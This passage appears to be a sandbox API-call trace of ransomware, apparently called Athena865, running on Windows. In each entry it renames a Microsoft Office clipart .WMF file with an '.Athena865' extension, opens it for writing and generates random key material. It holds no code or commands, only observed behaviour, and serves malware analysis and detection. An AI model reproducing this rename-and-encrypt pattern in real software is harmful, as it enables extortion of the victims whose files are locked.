Office\\CLIPART\\PUB60COR\\FD00544_.WMF.Athena865") returned 73 [0123.299] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.303] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5260) returned 1 [0123.303] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.304] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.304] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.306] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.306] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.306] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.307] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00564_.WMF" | out: lpString1="FD00564_.WMF") returned="FD00564_.WMF" [0123.307] lstrlenW (lpString="FD00564_.WMF") returned 12 [0123.307] lstrlenW (lpString="Athena865") returned 9 [0123.307] lstrcmpiW (lpString1="0564_.WMF", lpString2="Athena865") returned -1 [0123.307] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.Athena865") returned 73 [0123.307] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.308] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=896) returned 1 [0123.308] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.309] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.309] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.311] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.312] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.312] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.312] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00586_.WMF" | out: lpString1="FD00586_.WMF") returned="FD00586_.WMF" [0123.312] lstrlenW (lpString="FD00586_.WMF") returned 12 [0123.312] lstrlenW (lpString="Athena865") returned 9 [0123.312] lstrcmpiW (lpString1="0586_.WMF", lpString2="Athena865") returned -1 [0123.312] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.Athena865") returned 73 [0123.312] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.313] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=752) returned 1 [0123.313] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.314] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.314] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.316] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.317] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.317] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.317] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00775_.WMF" | out: lpString1="FD00775_.WMF") returned="FD00775_.WMF" [0123.317] lstrlenW (lpString="FD00775_.WMF") returned 12 [0123.317] lstrlenW (lpString="Athena865") returned 9 [0123.317] lstrcmpiW (lpString1="0775_.WMF", lpString2="Athena865") returned -1 [0123.317] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.Athena865") returned 73 [0123.317] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.319] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11152) returned 1 [0123.319] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.319] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.319] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.322] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.323] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.323] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.323] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00779_.WMF" | out: lpString1="FD00779_.WMF") returned="FD00779_.WMF" [0123.323] lstrlenW (lpString="FD00779_.WMF") returned 12 [0123.323] lstrlenW (lpString="Athena865") returned 9 [0123.323] lstrcmpiW (lpString1="0779_.WMF", lpString2="Athena865") returned -1 [0123.323] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.Athena865") returned 73 [0123.323] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.325] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9010) returned 1 [0123.325] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.326] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.326] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.329] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.329] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.329] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.330] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00799_.WMF" | out: lpString1="FD00799_.WMF") returned="FD00799_.WMF" [0123.330] lstrlenW (lpString="FD00799_.WMF") returned 12 [0123.330] lstrlenW (lpString="Athena865") returned 9 [0123.330] lstrcmpiW (lpString1="0799_.WMF", lpString2="Athena865") returned -1 [0123.330] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.Athena865") returned 73 [0123.330] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.331] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13968) returned 1 [0123.331] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.332] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.332] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.334] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.335] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.335] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.336] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00814_.WMF" | out: lpString1="FD00814_.WMF") returned="FD00814_.WMF" [0123.336] lstrlenW (lpString="FD00814_.WMF") returned 12 [0123.336] lstrlenW (lpString="Athena865") returned 9 [0123.336] lstrcmpiW (lpString1="0814_.WMF", lpString2="Athena865") returned -1 [0123.336] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.Athena865") returned 73 [0123.336] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.337] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=42704) returned 1 [0123.337] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.338] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.338] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.341] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.342] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.342] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.342] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00965_.WMF" | out: lpString1="FD00965_.WMF") returned="FD00965_.WMF" [0123.342] lstrlenW (lpString="FD00965_.WMF") returned 12 [0123.342] lstrlenW (lpString="Athena865") returned 9 [0123.343] lstrcmpiW (lpString1="0965_.WMF", lpString2="Athena865") returned -1 [0123.343] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.Athena865") returned 73 [0123.343] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.344] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15164) returned 1 [0123.344] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.345] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.345] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.348] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.348] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.348] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.349] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD01074_.WMF" | out: lpString1="FD01074_.WMF") returned="FD01074_.WMF" [0123.349] lstrlenW (lpString="FD01074_.WMF") returned 12 [0123.349] lstrlenW (lpString="Athena865") returned 9 [0123.349] lstrcmpiW (lpString1="1074_.WMF", lpString2="Athena865") returned -1 [0123.349] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.Athena865") returned 73 [0123.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.357] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4634) returned 1 [0123.358] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.358] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.358] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.360] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.361] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.361] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.361] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD01084_.WMF" | out: lpString1="FD01084_.WMF") returned="FD01084_.WMF" [0123.361] lstrlenW (lpString="FD01084_.WMF") returned 12 [0123.362] lstrlenW (lpString="Athena865") returned 9 [0123.362] lstrcmpiW (lpString1="1084_.WMF", lpString2="Athena865") returned -1 [0123.362] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.Athena865") returned 73 [0123.362] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.363] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2412) returned 1 [0123.363] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.364] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.364] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.368] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.369] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.369] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.369] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD01176_.WMF" | out: lpString1="FD01176_.WMF") returned="FD01176_.WMF" [0123.369] lstrlenW (lpString="FD01176_.WMF") returned 12 [0123.369] lstrlenW (lpString="Athena865") returned 9 [0123.369] lstrcmpiW (lpString1="1176_.WMF", lpString2="Athena865") returned -1 [0123.369] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.Athena865") returned 73 [0123.369] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.370] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4984) returned 1 [0123.370] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.371] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.371] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.373] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.374] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.374] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.374] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD01191_.WMF" | out: lpString1="FD01191_.WMF") returned="FD01191_.WMF" [0123.374] lstrlenW (lpString="FD01191_.WMF") returned 12 [0123.374] lstrlenW (lpString="Athena865") returned 9 [0123.374] lstrcmpiW (lpString1="1191_.WMF", lpString2="Athena865") returned -1 [0123.375] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.Athena865") returned 73 [0123.375] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.376] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3964) returned 1 [0123.376] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.377] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.377] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.379] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.380] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.380] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.380] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD01193_.WMF" | out: lpString1="FD01193_.WMF") returned="FD01193_.WMF" [0123.380] lstrlenW (lpString="FD01193_.WMF") returned 12 [0123.380] lstrlenW (lpString="Athena865") returned 9 [0123.380] lstrcmpiW (lpString1="1193_.WMF", lpString2="Athena865") returned -1 [0123.380] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.Athena865") returned 73 [0123.380] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, 